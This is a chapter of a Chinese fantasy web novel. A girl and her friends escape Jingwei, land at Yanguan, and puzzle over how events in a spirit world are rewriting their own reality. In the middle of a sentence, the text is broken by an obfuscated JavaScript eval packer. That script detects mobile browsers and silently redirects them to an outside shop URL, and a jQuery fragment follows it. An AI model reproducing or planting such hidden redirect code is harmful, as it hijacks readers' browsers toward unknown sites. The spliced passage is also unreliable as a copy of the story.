逆着光雾,最后一块卡住的巨岩上方出现一个小小的人形。光源自那人手中盛放,辉光隐去了面容。 “轰——” 一声惊天裂地的巨响,那一排巨岩像翻土一样被掀到了地面上。 敲雪受困于狭窄芥球中,又被扶桑子众兵附加了一重重语境团团围住,声光俱无,但即便隔着厚厚的语境障壁,她还是瞬间察觉出有熟悉的力量在靠近。 这是…… 她自己的魂芥! ……她的扶桑叶! 那小小的人影一步步朝困住敲雪的芥球走来。众兵不知此人是和来头,都不敢贸然出手,只是挟住囚困敲雪的芥球后退。 “长姐,要不要……” 壬泽对癸湫做了个噤声的手势。 一个语芥球自那小人身上无声地飘了出来:“累死我了。呃,好多人啊……” 众兵狐疑。 又一个芥球飘了出来:“……诶,她怎么变成宝可梦了?” “‘宝可梦’乃是何物?”兑震蹙眉问乌云啸铁。 乌云啸铁的胡须动了动,有些尴尬地舔了两下爪子。他也不知道。 “啊,她这么强都变成宝可梦了看起来情况不太妙……” “戴天航呢?唔……和鬼火木头在一起啊,那应该还活着。” “为什么都看着我,我是谁我在哪我要干什么来着……哦对我是来救人的。救人?我?怎么救?我不是应该在新手村吗?” 云头三神和地上众人一头雾水地看着一团又一团语芥球从那小女孩身上蹦出来。 “是个石语者,”乌云啸铁不解:“……但似乎不是我们的人。” “可她好像……连怎么开魂语境、藏匿自己的所思所想都不知道。”癸湫一脸错愕,喃喃地说:“这样的人真的是语者吗?” “区区稚童,先干掉再说。”兑震一道闪电劈下。 “且慢!” 壬泽阻拦不及,话音未落,一道银龙般的闪电炸开。 “呃啊——” 惊天动地的痛吼爆开,众人汗毛倒竖—— 那蜿蜒的银鞭竟在触达目标的那一瞬间折回,劈到了气动尊自己身上! 于子夜盯着自己的口袋。刚才她都没看清什么东西过去了,只是眼前白光一闪,感觉睡衣口袋里似乎有东西拱了一下,白光就被瞬间弹回去了。 “……观音,是你?”她将手伸进口袋中摸了一把。守宫都快硬了。 琥珀石却贴着她的手背嗡嗡地震了震。 于子夜一惊:“原来你在啊!刚才我举那些石头的时候你怎么出来不帮我!!快救我朋友!你答应帮我的!可他离我好远。” “抱歉,我看不见。”长钟的声音直接递入她颅中:“能否和我描述一下,你朋友在何处?” “他在云头上,和丹木一起被关在精卫的蛋里。” “好。”长钟顿了一下:“其他人呢?” “她被困在……”于子夜犹豫了一瞬,握紧琥珀:“……澹台敲雪被困在一个球里了!一个很厚的透明的球。” 在回忆中大潮即将吞没谅月时、她在黑暗中坠落时,都出现过类似的球。 “好。我此刻不能现身,无法视物确实有些麻烦,需借你身体一用。失礼了。” 长钟第一次语速这么快。于子夜根本没反应过来:“身体?我……哇啊啊啊啊啊!” 掌中的琥珀瞬间消失,一股暖意顺着她的手掌迅速蔓指全身。于子夜一低头,整只右手掌都已变成了澄黄透明的石头质地,石化正在向小臂蔓延,她吓得惊声尖叫。 尖叫散在风里。 那只右手拽着她的躯体流星般飞了出去。 下一秒,手“咔”地并成剑指,直穿人 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金牌对风露版图的语者而言,就是这世间的绝对语力。 金牌能调动一切语芥,用金牌下达的任何指令都必须被执行。 “……回收此钱塘!”乌云啸铁双耳贴头,痛苦不堪地弓起背,浑身发抖。 “回收此钱塘!”扶桑子众将士山呼。 密密麻麻的石语者从天而降,两排钢钉般扎进地裂两侧盐官与钱塘的地面,顷刻间宛如百十金刚立地,脚下生根,如如不动。 两侧大地訇然震颤起来,竟是向中间慢慢合拢起来! 这边“于子夜”已拉着敲雪纵上云头,她绕到精卫身后,右臂猛地一甩,敲雪瞬间默契脱手,借力飞身向精卫腹下的鸟蛋袭去。 于子夜则傀儡一般由着长钟将自己的躯体吊到了精卫面前。 ……简直是在当活靶子。 她却在巨鸟红宝石般的双眼中看到了自己的脸上露出了淡淡的笑意。长钟这个变态居然这种时候还在笑。 巨鸟腾空而起啄向活靶的刹那,三尺水如一道长绫,灵活地裹住了被主人忘在身后的鸟蛋。敲雪将三尺水绕掌一拽,纵身跃下云头。 长绫牵着鸟蛋,随敲雪向云头下直直朝即将合拢的地缝坠去。 “撤!” 她在坠落的风声中屏出传音魂芥,打向于子夜。 于子夜此刻正以不可思议的速度在空中闪避着精卫打来的火球,她只恨自己此刻控制不了身体不能闭上眼睛。 明明已经头晕眼花作呕想吐,但是身体就是吐不出来。不仅不吐,还跟无人机表演一样眼花缭乱飞得奇快。 这感觉过分诡异。 “我求求你……”她在脑子里给长钟跪下了。 “抱歉,再坚持一下,马上就好!” 长钟还真是说到做到,在收到敲雪传音的那一刻便立马停止与精卫的缠斗,双脚朝上一头向下栽去。 道歉是道歉了。加速也是加速了。 于子夜顶着下坠中不断加强的风压,怀疑头皮早已被风钻出几个大洞来。 这一坠,精卫锁定猎物的眼神却变了。 “留神!精卫发现蛋被偷走了!”长钟向敲雪打出传音。 一声锐啸,巨鸟敛翼俯冲而下。 眼前是即将闭合只剩一线的地裂,身后是不断逼近张开巨喙的火鸟。 “我如约帮你救了朋友,也请小友帮务必我一个忙,好吗?”长钟突然在此时开了口。 “不要向任何人提起我,也不要提起那块琥珀石。你从来没有遇到过一个叫长钟的人。” 脸都要砸到地上了,于子夜哪里有闲心听他讲这些屁话! 那收成一线、疾速靠近的窄缝在眼前闭合、闭合…… “不!” 会死的!!!会被两侧岩壁挤成肉泥的!! 不要!!!!!! 长钟带着她一头扎了进去。 17.地断江流知我是我 时移事异疑他非他 于子夜重重砸在地上,不是很痛,但晕得半死。 胃里翻江倒海的感觉终于涌上来。她撑起半边身,也顾不上别的,扒在地上吐了个昏天黑地。 吐完两轮,神志终于回来一点。她别过头,松开了紧紧攒着草根的手。 手指收放自如,躯体确实又是自己的了。但…… ……草根? 于子夜低头一看,身下是初春嫩绿的草坪,还带着熟悉的洒水后泥土新鲜潮湿的腥气。 她惊得一下站起来。 夜是黑的,月在中天,被云翳遮成水汽濛濛的一片。跨出草坪边缘的道牙,眼前是一处大坝一样的长条堤岸。 大坝高出底部大概有十几米,可大坝下方没有水,一眼望去尽是干涸的茫茫沙面。 于子夜环顾四周,周围并没有任何标志性的建筑,远处隐隐约约有楼宇,但天太黑,只剩模棱的影子。这要么说明这个大坝的地势很高,要么说明周围的建筑群都很低矮。 她很确定钱塘城区没有这样的地方。 但这开阔的沙面看着好生眼熟…… “呜呕……” 堤坝的石栏后面发出窸窣的动静。 于子夜心跳隆隆,还是壮着胆子蹑手蹑脚走过去。 “啊啊啊!” 石栏后的人突然闪出,两个人差点撞满怀俱吓了一跳。 “戴天航?!” 看清面前的人,于子夜之前的惊疑眩晕顿时一扫而空,她简直要跳起来:“你还活着!” 太好了。太好了。她无声地在心里大叫。 戴天航愣了一瞬,也笑了,看起来是真的开心,却也是真的虚弱:“嗯,我们都还活着。太好了。” 他面色很差,撑住石栏,捂胃强压不适:“刚才看到你在天上飞来飞去,还以为出现幻觉了……是你救了我们,对吗?” “我们?”于子夜不解。 “嗯?”戴天航朝石栏后方转头。 于子夜跟着她绕过石栏。 短发女子半跪在草坪上,正用一根树枝戳着翻滚一截焦黑发红的木头,旁边有个篮球大小的透明球体,里头装着一只左右扑棱的金红小鸟,看上去怒气冲冲的。 澹台敲雪看了过来,于子夜和她目光陡然相碰,立刻触电般移开了眼神。 亲手撕了她的扶桑叶、毁了她的魂芥逃跑、害了她身边的守宫、又看到了她幼时的所作所为…… ……实在是不知该如何面对她。 敲雪立刻抛下丹木,起身走过来,于子夜下意识后退两步。 敲雪看进眼里,停在原地不再往前,目光下移向于子夜的右手,问:“人呢?” 她这一问问得直截了当、没头没尾。 “什……什么人、呢?” 敲雪冷哼一声:“石头呢?” 于子夜下意识就去掏口袋,摸到守宫的时候突然猛地反应过来了。 长钟带她坠向地缝的时候让她也不要提自己和琥珀的事情。 于子夜陡然心虚了。 她半是真情实感、半是将计就计地掏出守宫双手捧到敲雪面前:“求求你,救救她!她快死了!尾巴也断了……” “我师侄,我自然会救,”敲雪凝了个水芥球将观音包裹进去,塞入怀中:“她不过离开我一炷香的时间。” 不是责问的口吻,只是用平淡的语气陈述事实,却比责问更让于子夜难堪。 “对不起,”于子夜低声道:“我不该……” “向我道歉的话,免了,扶桑叶我拿回来了。那半魂芥没损多少,”敲雪指尖拈出叶子又转手收了回去:“向她的话,等她醒来你自己和她说。” 那就是能救活的意思了! 于子夜憋住眼泪,总算是没害死一条生命:“……好。” “我已八百年未来过‘彼钱塘’。这是哪里?”敲雪一边蹲身继续查看丹木的伤势,一边问。 “这……”于子夜嗫嚅道:“我也不清楚,但这里不是我印象中的钱塘……” 戴天航轻轻笑了一声。 “你再仔细看看,真的不认识?”他问于子夜。 “我没来过啊,但这个坝肯定不是钱塘城里的。”她十分肯定。 “唔……你确实可以考虑加入我们观潮社,”戴天航向“坝”的边缘走了几步,望着嶙嶙石砖砌成的陡坡:“这哪里是坝?这是海塘呀!” “海塘?!” 可是钱塘城中江两岸的海塘都是梯形的缓坡啊。于子夜家就在江岸,每天放学散步回家时都能看到,怎么会认不出来? 难道…… “鱼鳞石塘……这里是盐官?!”于子夜惊道:“可是……” “可是没有标志性的占鳌塔、城墙和镇海铁牛对不对?我刚醒来的时候也觉得很古怪。” 戴天航指向沙面:“可是你看,根据月亮的位置,这边是东方。这条水道由西向东,又是这么独特的形状和位置,除了盐官的一线潮观潮海塘,不可能是别的地方。” “你手机呢?拿出来看一下地图。”于子夜还是不相信,但她穿着睡衣没带手机。 戴天航有点尴尬地说:“没电了。” “之前我在精卫的蛋里实在无聊,只好玩消消乐杀时间,那个重病号被关进蛋里之后奄奄一息的,说它马上就要死了,看我在玩,让我也给它玩玩。我想着人之将死其言也善,虽然它是个木头,但还是给它了……” 结果一直玩到没电,丹木还没死。 于子夜沉默片刻,突然灵光一现:“对了,你记不记得六和塔到底有几层?” “六和塔?内部九层,外面还有六层,一共十五层啊。”戴天航答得轻松。 “我明白了!”于子夜一拍大腿。 明白什么?戴天航面露不解。 “当时……敲雪,用水绳套住六和塔基,把塔身从地底下拽出来的时候,我数了一下,她拽了两层!” “所以呢?” “刚好是少掉的那两层!”于子夜语速飞快:“我……逃跑之后回到了钱塘,特地去了六和塔一趟,可总感觉塔看着似乎矮了些,问的所有人都记得塔内部是七层,塔下的博物馆也这么写,可我明明记得内部是九层!” “是九层没错,这么基础的东西我不会记错的。等等,你是说……” 戴天航立刻反应过来:“那个‘此钱塘’发生的事情会影响我们的钱塘!这个……‘彼钱塘’!” “Bingo!”于子夜打了个响指。 云翳露出一角月光。这几天拢在她心头的疑团似乎终于散去些许。 戴天航也是一脸恍然大悟,立刻类推道:“也就是说,这里是盐官,却不见占鳌塔,是因为这位……敲雪姐姐,她把占鳌塔倒插进了六和塔中;不见了城墙,是因为城墙在战斗中被夷为平地;而不见了镇海铁牛,是……” “……镇海铁牛被我亲手掀起来扔掉了,这是在你被抓走以后。”于子夜搓了搓鼻子:“呃,出于某种牛顿他老人家解释不了的原因。” 戴天航笑了:“反正这下除了归牛顿他老人家管的,逻辑都说得通了。” 一角月光照亮了他略显苍白的面容。于子夜看清这张秀气的脸和脸上的瘀伤,突然笑不出来了。 “怎么了?”戴天航敏锐察觉到她神色的变化。 ……要说吗? ……这究竟该怎么说?又要从何说起? 那散去不到片刻的云翳又重新拢了上来。于子夜摇摇头,低声道:“我没事。” “是和我有关吗?”戴天航一针见血地问。 于子夜惊讶戴天航总是能一下猜准别人的想法和情绪。突然想起他之前说如果有读心的本事能够避免很多麻烦,其实于子夜觉得,他本来就有接近读心的本事。 她只好点头。 “我不知道该怎么讲……”她叹了口气:“太离谱了。说出来你也不会相信的。” “我相信你。” 于子夜抬头看他。 戴天航立刻换用轻松的口吻:“拜托,你刚才像个超人一样飞来飞去,都飞出音爆了,还举起了一排几万吨重的石头。如果这是超级英雄片的话,谁会认错主角呢?” 于子夜垂落目光,用力掐着指节:“……我不是英雄,也不是主角。” “你不需要是。” “我相信你,是因为我们思考的方式很相似,仅此而已。”戴天航眨了眨眼,于子夜觉得他的眼睛真的很像叶阿姨,不知该形容为一种纯洁的脆弱,还是脆弱的纯洁。 “你就当是给我讲了个故事。故事外的人不需要是英雄或者主角,不是吗?” 水杏眼在诱导她说话。 于子夜叹了口气。 …… 其实能看出戴天航在极力克制,但随着她的叙述,他面色还是变得越来越难看。于子夜最终还是省略了在社交媒体上刷到他发的帖子的那一节、以及后面遇到长钟的经过。 她一口气说完之后,感觉肺部都缺氧了。 戴天航沉默着拨弄身下的嫩草,许久没有说话。于子夜估计他还在理思绪,这很正常,毕竟这么长时间了她自己也没理清楚。 戴天航突然开口:“你在网上搜我的时候,有没有搜到我在毗陵一中办潮汐社?” “没有。我把带有你和毗邻一中的词条都翻了一遍,只有你自主招生和物理竞赛获奖的信息。”于子夜感到奇怪:“怎么问这个?” 正常人的首要关注点难道不应该是:怎么会在自己离开后,有一个仿佛平行世界的自己在同一个世界的同一条时间线里和自己过着不一样的生活?自己的生活怎么一夕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539331|202942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间扭成了截然不同的发展方式?自己的母亲怎么和一个刚认识的同学的父亲变成了这种关系? 戴天航说:“你说,你回到了同一周的周六。我在对时间。因为我转学到钱中之前本来就在筹备办潮汐社,我给你的PP夹周边其实是在毗陵做好了带过来的。” PP夹! 于子夜想起那条帖子中图片角落没裁干净的一角塑料。 “……你确实,似乎在准备办潮汐社。但应该还没办。” 没办法。事到如今,于子夜只能将帖子的事情和他说了,说完还很严谨地加了一句:“当然,我知道这个帖子不一定是我面前的你发的,可能是另一个现实中的你发的。” 戴天航不置可否:“你说,这条帖子的发帖的时间是寒假前?” 他陷入了沉思,细细的柳叶眉蹙在一起,似乎还在苦恼时间线的事:“具体是几月几号,你还记得吗?” 于子夜总觉得他问得古怪,难道还有人能具体地记住发社媒帖子的日期?她说:“不记得了。但我倒觉得先不用纠结时间问题,既然已经到盐官了,我们给手机充上电,先想办法回钱塘,你再自己去看一下不就知道了。” “不行。”戴天航斩钉截铁地说。 于子夜更奇怪了。他之前说话一直细声又委婉,还是第一次听到他用这么直接的否定句。 “……我是说,我不能轻易回钱塘,万一,现在这个世界真的存在另一个我呢?你知道‘时间复制’吗?” “Temporal duplication?”于子夜想了想,蹦出一个英文词组,戴天航有点迟疑地点了点头,于子夜觉得他大概没听懂。 这是个科幻设定。当时间旅行者改变过去,就可能产生新的时间线,从而导致多个“自我”在同一时空中同时存在,属于一种时间悖论。 但问题是,戴天航和于子夜并没有改变过去。 “我回去之后,并没有遇到另一个自己。我觉得这个不用太担心。”于子夜说。 “但我妈妈明确说我还在毗陵没有转学过来,而且照理说我上个学期寒假前就申请转学了,可毗陵一中至今还在官网发带有我班级和姓名的帖子。你刚才又说账号的IP还在毗陵。” 戴天航想了想:“对了,你刚才说,你的生活中发生了很多剧变。那其他人记不记得这种剧变之前的样子呢?” “没有,我好像是直接切进了一种断裂的剧情一样。只有我记得两边有多么天差地别。” 地断江流。 两侧的生活就是被劈开的大地,她是唯一感受到这种断裂和落差却仍然接续着两处断裂流淌的江水。 只有她。 ……只有她! 于子夜猛然惊醒。她突然明白了长钟对她说的话到底是什么意思—— “你是这个中千芥的神。无论你之前做了什么,都已经剧烈扰动了两个芥球的语芥,使得中千芥的现实发生了与你行为相应的改变。” 如果说时间复制是因为改变了过去导致多重现实、多条时间线,那么于子夜的一举一动都是在把现实往另一个方向推。 没有多重的现实,没有第二个自我,只有一条被不断改变方向的独木桥。 她是那个唯一的定数,也是那个唯一的变数。 ……那么其他人呢? 她身边的其他人,祁潇骁、父亲、大伯父大伯母、叶阿姨……他们无知无觉地处于因为她而改变的现实中,他们难道就不对这个现实发挥任何作用吗? ……戴天航呢? 他是唯一一个从那个她熟识的现实中、从独木桥的开端、从断崖的另一侧和她一同掉进这个兔子洞的人。 独木桥世界里的他被她不动声色地改变着命运,但这个最初版本的他却又如此真实地存在在她身旁。 他又是如何同时在两边同时存在的呢? “哇噻,精彩啊!” 两个孩子吓了一跳,猛地转头。 丹木杵在草坪上,原本黑得五彩斑斓的树皮被真火烧得如同斑秃,黑一块红一块白一块,几只凸出的树瘤眼睛看热闹不嫌事大地盯着他俩。 它的几条枝桠紧紧搂住那个上下扑棱的芥球,怀抱襁褓般用最细的枝条轻轻拍了拍。 “哦,师父你连这都没听懂啊?让你平时多看点话本消遣你偏不听,书到用时方恨少哇!” 它伸出小拇指似的细枝,对着于子夜指指,又对着戴天航戳戳。 “喏,就是她一回去,发现她爸和他妈背着他们俩搞在一起了,他妈马上就要变成她爸的小老婆。俩小孩都一头雾水,现在被迫成了养兄妹——呃或者是,姐弟?了?” 精卫小巧的金喙隔着芥球狠啄丹木的枝桠。 “好了好了,师父不闹了,嘘、嘘……咱文明看戏,文明看戏啊。”